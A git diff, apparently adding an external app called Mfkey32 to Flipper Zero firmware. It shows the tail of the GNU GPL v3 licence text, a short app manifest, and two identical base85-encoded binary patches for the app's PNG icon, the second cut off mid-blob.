warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/applications/external/mfkey32/application.fam b/applications/external/mfkey32/application.fam new file mode 100644 index 000000000..14ce32d45 --- /dev/null +++ b/applications/external/mfkey32/application.fam @@ -0,0 +1,16 @@ +App( + appid="mfkey32", + name="Mfkey32", + apptype=FlipperAppType.EXTERNAL, + entry_point="mfkey32_main", + requires=[ + "gui", + "storage", + ], + stack_size=1 * 1024, + fap_icon="mfkey.png", + fap_category="Tools", + fap_author="noproto", + fap_icon_assets="images", + fap_weburl="https://github.com/noproto/FlipperMfkey" +) diff --git a/applications/external/mfkey32/images/mfkey.png b/applications/external/mfkey32/images/mfkey.png new file mode 100644 index 0000000000000000000000000000000000000000..52ab29efb92bf5aa7c790b8043d2d07a7e74704d GIT binary patch literal 9060 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 T2_+RDfDS|^SsNGcaF6&O#taN} literal 0 HcmV?d00001 diff --git a/applications/external/mfkey32/mfkey.png b/applications/external/mfkey32/mfkey.png new file mode 100644 index 0000000000000000000000000000000000000000..52ab29efb92bf5aa7c790b8043d2d07a7e74704d GIT binary patch literal 9060 zcmeHLc|4SB`ya`gt&*%Y21OdPF9tD_coPmO>|@kR(yI zB1+a0Qo0o*glK}z+_2)bH zofwBpEttwGMFgchm(ef6MoJ!5%BERtYs?BBRG*a@G-?C$&T4 z>l-HDO-E)QRNbuTd}d~^O`ni%^(}aH_>BXK7S&h=H?U4t(jOEkSbeJ&2NVh9yho`S3uecDk^ zGsl~HI*z?%loB30T)tUQvKza5#=NTPPM2ij)d9)Tu{aUjQEKhPhK{((+>GuQWQCANmXV3iq%wW4RXAVlDYK~Py`b~rCH;a``1xuH zu;N0?^P;mU0ej<%U3fJNq~nBeSM+#DVEG=KGmTWRvURONsP6n@*xh~cVwgIKj z3H*{079-s?6d|p8_xKJejmM)o7v(+TwZsRye@fn|+K_5%tM;YyF|0*VzsqwnVif$0f^Ex-Ry>Y*2b$jwh1mA4y_dt(Yq0MWG!l zQD8=mzzecWIMJof`+j4ncC#46MW7_Y@;pt(`$k_;Y9X+}xSHAG>nrL^1QOn69=}nf^by)#38K@bPdb^ja zU4DFmb{$aOL^>`};g;}J=)fHL#=MT)TJd9hx2=C0qVjrI{H5F=V`R4>T4~|J55^K# zS~`h#ZXrW9`^%)O>ejj3*H>g?68D|(PPwcQ13D={ih9{HSlT!M3#iNuo+5}TPZ6%S z1--2Goa++35v-@off(1(xJp-~B4zJ3su|iAJ{LgDX88#ZEAB5lUtz6!!#O0U=$F3m zv6X3sC3}vGt|79Wo}go6A*!1nBurDn$X4}LilvvVc7-XIrkgrRIUA_esN>bC>l^$Y zjYA9fMrqHQol_WSNUUUI)=L8eu=6Nf-dK+QQ)&Z&uE(U>BWb!n=D(J?HU-#dQJJX zQu*N9H_!85=c-FA-YtXGEVh=i+;`WY5fp`8_l6a$G~>`3tCEB{^`-&AACDYR@!K{u zjg8$?#c7B2p2|XY1f4r`-AcYl$atk1-lpfhIKiScyTj|?^qGpRif%i2D=SW}PfzL1 zpy}PU%7p>f4!vH4&&VVfjRr);89vyhe431X5#8&g*%oXsZ51XVdqH5uG41383hHFc zs%*+dzX^TuRqZNAcU+bDfD*rcw6|ErLBeZ;Q(?9cS<1i=Eg2nNLRBj1&_8c}&V5nN z;nT|T%7RCmowlDR9L&mYGilr@IN+ST)m_=_A~n@L#ZTaMgWOEaB4yo%j-!wT=wEnJerb6OScXPK^54z&?-3mEo zEnU70zXSzTYpS!^n!9(8-3wyR}`3UTtl(ntI zh^q9XW=-f>`eK2L@kG)UwxV#F%As)BL(sH|w;o4ow~0{n4#7jm=YDQjGI8y%$l$i@<1+#wt@pThrQSJ8WWeT=ejysE-J(2vPP$7AA z7t#PjEQ_{4@noYyVd_GvOwtD*)Qn(eXC?U)^nCzjFnP9UHc_}g)lPq+Mnkr0CcSV} zu3azNGwDMnvE!;~w&D7FF_-QHM!pi_&Gc3Ti6}y^Z1Vc0&_K*fLl9}vm~85jbk4m* zb9VJ(HI=lV#2f9Pg-_MH@>mB-w357%XQeEQTnjhNNl66U4;{wXoKqbW^CQ>?=l~hVsW)}qN)C|duida%|Evc4^S=B*=YjEOwwGID8a0gQmld8Eu5TMsd+x5HVmZ@w ziI^~u4Lz$#vKtdz#54z3Np~#FUvtp96BhGO25GID*R$?%yKHD+#{BK08#bGmOH3Yn 